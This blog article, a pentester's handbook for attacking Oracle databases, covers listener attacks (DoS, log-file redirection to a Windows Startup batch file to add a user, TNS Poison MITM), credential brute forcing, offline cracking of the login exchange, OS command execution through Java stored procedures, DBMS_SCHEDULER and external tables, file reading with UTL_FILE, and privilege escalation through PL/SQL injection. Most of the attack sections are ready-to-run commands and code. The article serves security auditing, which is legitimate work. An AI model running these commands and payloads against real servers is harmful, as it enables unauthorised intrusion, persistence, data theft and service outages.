Oracle DB vulnerabilities: the missing pentester handbook

Outer Perimeter: The Listener is under Attack

Those who ever came across this database know that Oracle DB interacts with its external environment by using a listener, which is a kind of balancer. The listener listens to port 1521 and resolves incoming connections depending on the requested database. One listener allows you to serve different databases. Also, in some cases, it allows to launch DoS and RCE attacks against the server. The audit of an Oracle database usually begins with attacks against the listener service. A priority task that you need to resolve in order to connect to the listener is to get SID, a kind of unique database identifier. Without it, the listener will not communicate with you. Sh2kerr once wrote an excellent research paper on this subject (Different ways to guess Oracle database SID).

To put it briefly,

  • SID may still have its default value ‘orcl’;
  • SID can be obtained through web-based interface of EM console on port 1158 through SAP web_appserver, XDB and other things installed over Oracle;
  • IT’S BRUTEFORCE TIME! Let’s start to bruteforce while keeping in mind the company’s name, NetBios names of computers and other social aspects.

‘auxiliary/scanner/oracle/sid_brute’, a Metasploit module, can very effectively handle the latter task. To mount an attack, you just need to specify the IP address of remote host. This is a very good bruteforce tool with built-in dictionary of 600 values. By the way, encountering an Oracle DB with a version below 10.0 is a real feast! The listener of older versions will disclose everything that it can, including serviced SID, database version, OS type and has a number of very critical issues:

  • ‘DoS & NTML relay’: given the allowed remote configuration, we shut down the listener. Here and later, we use ‘lsnrtctl’, a utility included in Oracle DB package. This action is strongly discouraged, as it has a serious destructive effect, but shutting down the listener will force the administrator to log into machine, at which point we will arrange a relay for him.
    LSNRCTL: stop 192.22.33.44
    
  • ‘DDoS’: The excessive level of tracing will pretty quickly consume all available disk space and create an increased load on the processor:
    LSNRCTL: set trc_level 16
    
  • ‘DDDoS’: Specify the configuration file of OS boot loader as the listener’s log:
    LSNRCTL: set log_file C:/boot.ini
    
  • ‘DDDDoS’: With these commands, you can set the incorrect configuration of connections, which will lead to service malfunction:
    LSNRCTL: set connect_timeout
    LSNRCTL: set invalid_connect
    
  • ‘Disclose’: By using TNS protocol, you can send STATUS or SERVICE commands to the listener. In the first case, even if a password is set, the listener will disclose a lot of information. STATUS will return the OS version, uptime, log file directory, and SID. SERVICE also shows the OS version and SID.
    LSNRCTL:  status 192.168.1.100
    msf: use auxiliary/admin/oracle/tnscmd
    
  • ‘RCE’: Given that you can specify any directory for saving the logs, why not to choose ‘C:/Users/Admin/Startup’? The log includes all queries, and you can generate a query that will write a record ‘net user bob /add’ to the file. To do this, you can use the tool [tnscmd.pl] (goo.gl/ewVmF2). With the first query, specify the startup script as the log and, with the second query, add a user:
    tnscmd -h 192.168.1.100 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE
       =LISTENER)(VERSION=1)(VALUE=C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil.bat)))"
    
    tnscmd -h 192.168.1.100 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=((
    > net user Bob Marley /add
    

In a Linux environment, you can also play some mean tricks, for example, by adding your SSH keys. You can read more about this technique in the book of A. Polyakov “Oracle Security Through Auditor’s Eyes: Attack and Defense” (in Russian). Finally, if you already have remote access to the server from the database, you can steal from ‘listener.ora’ (this is a configuration file located in ‘$ORACLE_HOME/network/admin’) the hash of listener’s password, this will be enough for connecting up to system version 10.

PASSWORDS_LISTENER = 334CC7EA0C4F01A0

Outer Perimeter: TNS Poison

If you encounter a newer version of the listener, there is not much room left except bruteforcing. However, all versions up to version 12c are vulnerable to an attack called ‘TNS Poison’. Though the latter version is vulnerable only in some special configurations. For example, one of the ways to fix this vulnerability is by disabling the dynamic configuration of the listener, which is impossible when using Oracle DataGuard, PL/SQL Gateway in connection with APEX and in some versions of SAP. In general, the issue is that, by default, the listener service supports remote configuration and, in addition, it allows to do it anonymously. This is where the heart of vulnerability lies.

Fig. 1. TNS Poison Vulnerability

Fig. 1. TNS Poison Vulnerability

This is a sample attack algorithm (see Fig. 1):

  • Send the following TNS query: ‘CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR))’.
  • The vulnerable server will respond: ‘(DESCRIPTION=(TMP=))’. This is what will be the answer from a patched server: ‘(ERROR_STACK=(ERROR=1194))’.
  • Generate a configuration package with SID and IP of the new listener (for future MITM). The number of characters in the name of the current SID is of fundamental importance. You need to know it, since this is what a Well Formed package depends on.
  • Next, send all these goodies to the listener.
  • If everything is correct, then all new connections will be forwarded by the listener through your controlled IP.

It is important not to forget to enable the proxying of queries (like IP_forwarding in Linux), otherwise, instead of a neat MITM attack, you will get a rough DoS, because the new clients will be unable to connect to the database. As a result, an attacker can embed their own commands within another user’s session. You can check whether the server is vulnerable by using the following MSF module: ‘auxiliary/scanner/oracle/tnspoison_checker’.

Outer Perimeter: Users Brute force

Got SID? Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and bruteforce the logins. Here again, you will be greatly helped by Metasploit and yet another of its modules: ‘auxiliary/scanner/oracle/oracle_login’. It has a built-in dictionary for the most popular default values of user account information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle. There are quite a few such users, they have different privileges and some of them are not easy to disable. So, when conducting a security audit of Oracle products, it is important to review the list of default accounts in the documentation. Moreover, if a “clean” Oracle DB has only a few such accounts, after installing an ERP system, such as E-Business Suite, over Oracle DB, their number increases to about 300! For a more thorough but longer brute force attack, I recommend using ‘Nmap’:

    nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=DSECRG,userdb=/root/Desktop/ora/userdb, passdb=/root/Desktop/ora/passdb 192.168.1.100

Note that this script mixes the logins and passwords, that is, it tries each login against every password, and it takes quite a while!

Outer Perimeter: Remote OS Auth

A slightly more elegant way to get the user account information in a database is provided by using ‘Remote OS Auth’ method if, of course, it is used in the tested system. The idea is that Oracle allows to delegate the user authentication to OS. As a result, if the user is authenticated in OS, he or she will be connected to database without any password verification. Within the database, such users have a login with certain prefix (for example, ops$Bob).

Therefore, you need to:

  1. Find out, in advance, about such account (in SAP, for example, it is described in the documentation).
  2. Create on your machine a Windows account with the same login.
  3. Connect to the database.

If you want to try this out in your test lab, here is how you can proceed with this check:

  1. Check for ‘remote auth’. In SQL terminal, enter:
    show parameter os_authent;
    // if enabled, the system will return TRUE
    
  2. Enable ‘r.auth’ (if FALSE):
    alter system set remote_os_authent=TRUE scope=SPFILE;
    
  3. Create the user ‘EVIL’ with ‘ops’ for the prefix:
    create user ops$evil identified by p@ssw0rd;
    
  4. Grant rights:
    grant connect to ops$evil;
    

Finally, to connect to database by using ‘Remote Auth’, enter the following:

    sqlplus /@\"192.168.1.3:1521/orcl.marley.local\"
    A backslash '/*' before '@' tells 'sqlplus' to check the user account from OS */

By the way, the password of Windows user should not necessarily match the password of Oracle DB user, as this doesn’t make any difference.
At ZeroNights 2015, Roman Bazhin (@nezlooy) shared an interesting observation. It turned out that at the time of sending the packet containing the request for authorization, you can replace the value of current user** and, as a result, mount a brute force attack. Clearly, such attack will succeed faster than a simple frontal brute force attack against user accounts, because you only need to check logins, without bothering about passwords. You can find more details [here] (goo.gl/loR2hB) and [here] (goo.gl/aI449z).

Outer Perimeter: Remote stealth pass brute force

The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable to this technique. In order to understand the idea behind this vulnerability, you need to consider how the authentication protocol works with the database. I will show it for version 11. The interaction with the server proceeds as follows:

  1. The client connects to the server and sends the user name.
  2. The server generates a session identifier (‘AUTH_SESSKEY’) and encrypts it by using AES-192. As its key, the system uses SHA-1 hash generated from user password and salt (‘AUTH_VFR_DATA’).
  3. The server sends an encrypted session ID and salt to the client.
  4. The client generates the key by hashing its password and received salt. The client uses this key to decrypt the session data received from the server.
  5. Based on decrypted server session ID, the client generates a new public key for future use.

Now, here’s the most interesting part: The session ID ‘AUTH_SESSKEY’ sent by the server to the client has a length of 48 bytes. Of these, 40 bytes are random, and the last 8 are the duplicates of ‘0x08’. The initialization vector is 0x00 (Null).
Knowing that the last 8 bytes of the public identifier always consist of ‘0x08’, we can bruteforce this password and, moreover, do it in offline mode, which means a tremendous speed, especially if you use GPU. To mount an attack, you need to know SID, valid login (for example, ‘SYS’ account is very interesting) and, of course, have the ability to connect to the database. In this case, there will be no records, such as ‘Invalid Login Attempt’, created in the Oracle audit logs!

Summing it all up:

  1. Use Wireshark to intercept the initial traffic during authorization. This will be helped by ‘tns’ filter.
  2. Extract HEX values for AUTH_SESSKEY, AUTH_VFR_DATA.
  3. Insert them into [PoC script] (goo.gl/DtnDsb), which will perform a dictionary (brute force) attack.

The link above shows only a sample PoC to help you understand how it works, while, in general, the Oracle hash values can be handled well by the utility [woraauthbf] (goo.gl/FBDUhi).

Internal Attacks: Remote Code Execution

As it happens, running OS commands in Oracle is not as trivial as calling up ‘xp_cmdshell’ in MS SQL, even when you have DBO privileges. However, there are at least two different ways to execute commands, such as by using Java procedures and DBMS_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool [ODAT] (goo.gl/zwVO7k), a utility. Do not forget to install the Python libraries required for working with Oracle and the Instant-Client.

So, imagine that you have the administrator account information. In this case, a very popular way to execute your command on the server is to write a ‘java stored’ procedure. This is done in three stages. First, create a Java class called ‘oraexec’. To do this, connect via ‘sqlplus’ terminal and write:

create or replace and resolve java source named "oraexec" as
import java.lang.*;
import java.io.*;
  public class oraexec
  {
    public static void execCommand(String command) throws IOException
    {
      Runtime.getRuntime().exec(command);
    }
  }
/

Next, write a PL/SQL wrapper for this class:

create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/

That’s it. Now, to execute a command, all you need is just to send the following query:

exec javacmd('command');

Note that when using the above procedure, we cannot see the results of executed command, however, you can redirect the output to a file and read it. You can find the full code of the shell that allows to read and write files [here] (goo.gl/eLg7bx). However, there is a [more sophisticated script] (goo.gl/EuwPRU) that handles the command output, but it has a larger size. If for this same purpose you use ODAT utility, all your actions are reduced to the following command:

./odat.py java -s 192.168.231.131 -U bob -P marley -d orasid --exec COMMAND

Internal Attacks: Scheduler

The next method, which will help us if there is no Java virtual machine, is to use ‘dbmsscheduler’, the built-in task scheduler of Oracle. To use it, you must have the privilege ‘CREATE EXTERNAL JOB’. Here’s a code sample that implements the entry of ‘0wned’ string into a text file in the root of the C: drive:

exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE);
exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE);

This will create and run a job for executing your command. And here’s an option for calling the Scheduler from another procedure – ‘SYS.KUPP$PROC.CREATE_MASTER_PROCESS’, which is of interest to us, primarily, because it allows you to embed multi-statement queries, that is, those consisting of multiple sub-queries. Theoretically, you can run such query even in case of injection into a web application.

select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''xxx'',''EXECUTABLE'',''cmd.exe /c echo qqq>>C:/scchh'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''jobx'',program_name=>''xxx'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''xxx'');dbms_scheduler.purge_log;') from dual

Again ‘ODAT.py’ allows you to substantially reduce the amount of commands:

./odat.py dbmsscheduler -s 192.168.231.131 -d orasid -U bob -P marley --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK"

Note that, when you use the Scheduler, you can run this job more than once and do it with some frequency. As a result, this will help you get a foothold in the tested system, because, even if the administrator deletes the user from OS, this job, which is regularly running in the system, will bring him or her back to life.

Internal Attacks: External tables

As the last method for achieving the execution of OS commands, I would like to mention the use of External Tables. This method will help you later download files from the server. You will need the following privileges:

  • UTL_FILE;
  • CREATE TABLE;
  • a directory reserved for the user.

Let’s remember that the access to ‘UTL_FILE’ package is by default provided to all accounts with ‘CONNECT’ role. Step one: Check the issued directories with the following query:

SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN
(SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY')
and privilege='EXECUTE' ORDER BY GRANTEE;

TABLE_NAME
------------------------------
ALICE_DIR

Step two: Create an executable batch file with desired command:

declare
 f utl_file.file_type;
 s varchar2(200) := 'echo KOKOKO >> C:/pwned';
begin
 f := utl_file.fopen('ALICE_DIR','test.bat','W');
 utl_file.put_line(f,s);
 utl_file.fclose(f);
end;
/

Step three: Prepare the external table ‘EXTT’, you will need it to run the file:

CREATE TABLE EXTT (line varchar2(256))
ORGANIZATION EXTERNAL
(TYPE oracle_loader
  DEFAULT DIRECTORY ALICE_DIR
  ACCESS PARAMETERS
  ( RECORDS DELIMITED BY NEWLINE
    FIELDS TERMINATED BY ',')
  LOCATION (alice_dir:'test.bat'))
/

Now, just call your batch file with the following command:

SELECT * from EXTT;

The terminal will start to display error messages that the system cannot match the table and invoked file but, in this case, it is not important, as the main objective was to open the executable file, which you have achieved. ‘ODAT.py’ utility also can implement this attack. However, it requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory:

./odat.py externaltable -s 192.168.231.131 -U bob -P marley -d orasid --exec "C:/windows/system32" "calc.exe"

Internal Attacks: Working with the File System

Now, let’s proceed to the task of reading and writing the files. If you simply need to read or write a file to the server, you can do it without any Java procedures, which, however, can also handle such tasks. Let’s have a look into ‘UTL_FILE’ package that has the functionality required for working with the file system. The good news is that, by default, it can be accessed by all users with ‘PUBLIC’ role. The bad news is that, by default, this procedure has no access to the entire file system, but only to a directory pre-defined by the administrator. However, it is not uncommon to find a directory parameter specified as ‘*’, which literally means “access to everything.”
You can find this out by using the following command:

select name, value from v$parameter where name = 'utl_file_dir';
With appropriate rights, you can expand the access by using the following query:
alter system set utl_file_dir='*' scope =spfile;

I found that the shortest procedure for using ‘UTL_FILE’ package is proposed by Alexander Polyakov:

SET SERVEROUTPUT ON
declare
f utl_file.file_type;
sBuffer Varchar(8000);
begin
f:=UTL_FILE.FOPEN (''C:/’,'boot.ini','r');
loop
UTL_FILE.GET_LINE (f,sBuffer);
DBMS_OUTPUT.PUT_LINE(sBuffer);
end loop;
EXCEPTION
when no_data_found then
UTL_FILE.FCLOSE(f);
end;
/

If you need more functionality with the ability to write, I recommend to google a script called ‘raptor_oraexec.sql’. And according to tradition, here’s an option for using ‘ODAT’ utility, which, as always, is the shortest:

./odat.py utlfile -s 192.168.231.131 -d orasid -U bob -P marley --getFile "C:/test" token.txt token.txt

‘UTL_FILE’ package is also very interesting because if you’re lucky, you can reach the logs, configuration files and obtain passwords from privileged accounts, such as ‘SYS’.

The second method that I would like to mention is to use again the ‘External Tables’. Remember that, when using ‘External Tables’, the database can access in read mode the data from external tables. For a hacker, this means yet another opportunity to download files from the server, but this method requires ‘CREATE ANY DIRECTORY’ privilege. I suggest immediately using ‘ODAT’, as it is stable and fast:

./odat.py externaltable -s 192.168.231.131 -U bob -P marley -d orasid --getFile "C:/test" "my4.txt" "my"

Internal Attacks: Elevating Privileges

You can use various methods to elevate privileges, ranging from classic buffer overflows and DLL patching to specialized attacks against databases, such as PL/SQL injections. The topic is very extensive and, in this article, I will not dwell on it, as this is discussed in large research papers, such as those found in the blogs of [Lichfield] (goo.gl/IebQN4) and [Finnigan] (goo.gl/vXhttf). I will just demonstrate some of them, so that you have a general idea. During the testing, I recommend simply paying attention to current privileges and, based on this, search for desired loopholes in the Internet.

Unlike MS SQL, where an attacker can inject ‘xp_cmdshell’ almost immediately after ‘SELECT’ by simply closing it with a quotation mark, Oracle DB flatly rejects such tricks. For this reason, we cannot every time resort to classical SQL injections although, in this case, too, it is possible to find a way out. We will consider PL/SQL injections, which are modifying the process of executing a procedure (function, trigger, and other objects) by embedding random commands into available input parameters. (с) Sh2kerr

In order to embed the payload, find a function where the input parameters are not filtered. Remember that Oracle SQL does not allow multi-statement (multiple) queries, therefore, most likely, you will need to use some “special” procedures that have this feature. The main idea behind the attack is as follows: By default, unless specified otherwise, the procedure is executed on behalf of the owner and not on behalf of the user who started it. In other words, if a procedure owned by ‘SYS’ account is available for execution and you can embed your code into it, your payload will also be executed in the context of ‘SYS’ account. As I already mentioned, this is not what happens always, as there are procedures with ‘authid current_user’ parameter, which means that this procedure will be executed with privileges of the current user. However, usually in each version, you can find some functions that are vulnerable to PL/ SQL injection. A general view of this process is shown in Fig. 2.

inject

In short, instead of expected legitimate argument, we pass some malicious code that becomes a part of procedure. A good example is provided by ‘CTXSYS.DRILOAD’ function. It is executed on behalf of ‘CTXSYS’ and does not filter the input parameter, which allows you to easily rise up to DBA:

exec ctxsys.driload.validate_stmt('grant dba to scott');

However, by now, this is probably history, since the vulnerability was found in 2004, and it affects only the old versions 8–9. Usually, the process of escalating the privileges is divided into two parts: writing the procedure that increases the rights and performing the injection itself. A typical procedure is as follows:

CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;RETURN(1);END;
/

Now we can inject a procedure as an argument of vulnerable function (example for versions 10x):

exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1 –-');

In the not too recent versions 10 and 11, there is one “nice” exception, or rather a vulnerability, that allows you to execute commands on the server without having DBA rights: ‘DBMS_JVM_EXP_PERMS’ procedure allows a user with ‘CREATE SESSION’ privilege to get ‘JAVA IO’ rights. The attack can be mounted as follows:

SQL> DECLARE
   POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
   CURSOR C1 IS SELECT
'GRANT','GREMLIN','SYS','java.io.FilePermission','<FILES>>','execute','ENABLED' FROM DUAL;
  BEGIN
  OPEN C1;
  FETCH C1 BULK COLLECT INTO POL;
  CLOSE C1;
  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  END;
  /

PL/SQL procedure successfully completed.

Now that you have the privileges to call up Java procedures, you can evoke a response from the Windows interpreter and execute something:

SQL> select dbms_java.runjava(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c echo 123 >c:\\hack’)from dual;

Summing Up

Of course, the vectors that we discussed above are not the only ones, as we regularly see the emergence of new opportunities. This article did not consider at all the Oracle version 12: First, there is very little chance to encounter it in real life and, secondly, it is better to discuss this version separately. During the testing, there are quite a lot of potential scenarios. You need to base your judgment on what you have at the current stage — where you are relative to the database, inside or outside; what your privileges and general goals are — and, subsequently, use all this to build your breakthrough plan. I hope that this general approach will allow you to clearly understand what needs to be checked on your available Oracle databases. Protect your servers.


One Response to “Oracle DB vulnerabilities: the missing pentester handbook”

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>